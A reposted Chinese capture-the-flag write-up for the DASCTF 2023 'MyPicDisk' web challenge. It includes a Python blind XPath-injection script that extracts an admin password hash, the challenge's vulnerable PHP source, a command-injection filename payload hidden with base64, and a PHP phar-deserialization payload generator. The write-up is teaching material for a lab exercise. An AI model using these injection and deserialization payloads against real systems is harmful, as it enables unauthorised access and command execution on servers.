首页 > 其他分享 >DASCTF 2023 & 0X401七月暑期挑战赛 MyPicDisk

DASCTF 2023 & 0X401七月暑期挑战赛 MyPicDisk

时间:2024-08-06 10:05:37浏览次数:13  
标签:username 0X401 filename MyPicDisk user file 2023 echo payload

打开题目是个登录框
这里是XXE盲注
boogipop师傅的盲注脚本

import requests
import time
url ='http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/index.php'


strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        #猜测根节点名称 #accounts
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        # payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)

        #猜测子节点名称 #user
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        # payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)



        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、
        # payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)


        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }


        print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)


        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

得出的是md5加密后的数据我们进行MD5解密
得到密码

image

15035371139

登录成功后我们查看源码
image

根据提示下载源码

<?php
session_start(); // 启动会话
error_reporting(0); // 禁用错误报告

// 定义一个名为 FILE 的类
class FILE{
    public $filename; // 文件名
    public $lasttime; // 最后修改时间
    public $size;     // 文件大小

    // 构造函数,用于初始化 FILE 类的实例
    public function __construct($filename){
        // 检查文件名是否包含 "/",防止路径穿越攻击
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }

        // 检查文件名中是否只包含一个 "."
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }

        // 检查文件是否存在
        if (!is_file($filename)){
            throw new Error("???");
        }

        // 初始化类属性
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }

    // 删除文件的方法
    public function remove(){
        unlink($this->filename);
    }

    // 显示文件信息的方法
    public function show(){
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }

    // 析构函数,当对象被销毁时执行
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
// 检查用户是否登录
if (!isset($_SESSION['user'])){
  echo '
  <form method="POST">
      username:<input type="text" name="username"></p>
      password:<input type="password" name="password"></p>
      <input type="submit" value="登录" name="submit"></p>
  </form>
  ';

  // 读取 XML 文件
  $xml = simplexml_load_file('/tmp/secret.xml');

  // 检查表单是否提交
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);

    // 检查用户名和密码是否匹配
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
      echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    // 如果登录用户不是 admin,则显示错误并退出
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }

    // 显示文件列表或上传表单
    echo "<!-- /y0u_cant_find_1t.zip -->";
    if (!$_GET['file']) {
      foreach (scandir(".") as $filename) {
        if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
          echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
        }
      }
      echo '
      <form action="index.php" method="post" enctype="multipart/form-data">
      选择图片:<input type="file" name="file" id="">
      <input type="submit" value="上传"></form>
      ';

      // 处理文件上传
      if ($_FILES['file']) {
        $filename = $_FILES['file']['name'];
        if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
          die("hacker!");
        }
        if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
            echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
        } else {
          die('failed');
        }
      }
    }
    else{
        // 处理文件操作
        $filename = $_GET['file'];
        if ($_GET['todo'] === "md5"){
            echo md5_file($filename);
        }
        else {
            $file = new FILE($filename);
            if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
                echo "<img src='../" . $filename . "'><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
                echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
            } else if ($_GET['todo'] === "remove") {
                $file->remove();
                echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
            } else if ($_GET['todo'] === "show") {
                $file->show();
            }
        }
    }
}
?>
</body>
</html>

法一:

很明显的一个利用点
image

image

这里很明显我们可以利用文件名进行命令执行

image

过滤了/但是影响不大我们可以利用base绕过

;`echo 命令的base64编码| base64 -d`;.jpg

但是要注意直接给文件命名的话不能带|我们要在上传文件的时候用bp抓包加上|即可


法二:

还有一个方法也是很明显

image
md5_file可以触发phar的反序列化
所以我们可以采用phar反序列化

<?php
class FILE
{
    public $filename=";ls /";
    public $lasttime;
    public $size;
}
$a=new FILE();
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "6666");
$phar->stopBuffering();

传的时候改一下后缀,然后直接
image

标签:username,0X401,filename,MyPicDisk,user,file,2023,echo,payload
From: https://www.cnblogs.com/dghh/p/18343872

相关文章

  • CSP-J 2023第二轮游记
    DayX做了一次模拟赛,考得都很烂,有几次都没有上\(~200~\)。听说赛前模拟赛发挥失常RP++?Day17:30考点就在SCZ,离家不远,但是仍然开车到达考点,在考场边排好队等待,遇到许多大佬,倍感压力,赶紧膜拜以吸收RP。8:00进入机房,找到自己的机位,试机。啥都没写出来,随便打几个板子,结果发现自......
  • 【日常开发】一个list集合 根据a字段 b字段进行分组 并计算c字段的和 并封装这种格式:
    ......
  • SourceCodester v1.0 SQL 注入漏洞(CVE-2023-2130)靶场复现
    SourceCodesterPurchaseOrderManagementSystemv1.0是一个实用的工具,适合希望优化采购流程的企业和组织靶场界面直接放sqlmap跑爆数据库爆数据表爆字段爆内容-用户名爆内容-密码sqlmap的md5碰撞sqlmap所有命令点击查看代码爆数据库pythonsqlmap.py-u......
  • Jorani远程命令执行漏洞 CVE-2023-26469靶场复现
    靶场界面点击查看exp↓↓↓"""vulnerabilitycoveredbyCVE-2023-26469"""importreadlineimportrequestsimportdatetimeimportsysimportreimportbase64importrandomimportstringrequests.packages.urllib3.disable_warnings(requ......
  • 【漏洞复现】LiveBOS UploadFile.do 任意文件上传漏洞(XVE-2023-21708)
    0x01产品简介LiveBOS(LiveBusinessObjectSystem)是顶点软件自主研发的以业务对象建模为核心的业务中间件及其集成开发工具,它通过业务模型建立直接完成软件开发的创新模式,支持各类基于WEB的专业应用软件与行业大型应用的开发。LiveBOS系统由三个相对独立的产品构成:运行支......
  • 2023 福建省第三届工业互联网创新大赛CTF Misc-Covertchannel2
    题目:近日,公司Windows服务器被入侵,黑客使用了一个比较隐蔽的信道将机密凭据传输了出去,但是蛛丝马迹还是被流量采集设备捕获了,你能从中找回丢失的flag吗?分析:分析该流量包发现了有一个rsa.key,并且在数据包长度为126和119中发现了,secrets.txt和data.zip,接下来就是写脚本提......
  • U盘版:RadiAnt DICOM 查看器 CD/DVD 2023.1 Crack
    RadiAntDICOM查看器CD/DVD2023.1建于2023年3月29日CD/DVD自动运行包新功能:长度比计算。椭圆体/子弹体积计算。改进和错误修复:增加了对某些不完全符合标准的DICOM文件的支持。增加了对一些不常见的JPEG2000编码DICOM图像的支持。RadiAntDICOMView......
  • 【2023年】云计算金砖牛刀小试2
    A场次题目:Openstack平台部署与运维control172.17.31.10compute172.17.31.20compute任务1私有云平台环境初始化1.初始化操作系统使用提供的用户名密码,登录竞赛云平台。根据表1中的IP地址规划,设置各服务器节点的IP地址,确保网络正常通信,设置控制节点......
  • 塔子哥喜欢字符-小米2023笔试(codefun2000)
    题目链接塔子哥喜欢字符-小米2023笔试(codefun2000)题目内容塔子哥天生偏爱一些字符,对于一个字符串,他总是想把字符串中的字符变成他偏爱的那些字符。如果字符串中某个字符不是他所偏爱的字符,称为非偏爱字符,那么他会将该非偏爱字符替换为字符串中距离该字符最近的一个偏......
  • 谈一谈编程到底应该怎么学?-暨2023年 CSP-J2轮爆零总结
    谈一谈编程到底应该怎么学?-暨2023年CSP-J2轮爆零总结转自https://mp.weixin.qq.com/s/_Fi64pYrZ6tHfKaNDb3xAA今年的信息学奥赛复赛结果已经基本出来了,整个行业讨论最多的就是今年的爆0问题。据说一个省,总共1900多人参加J组复赛,有800个0分。其它各省也都是爆0很多。但是同......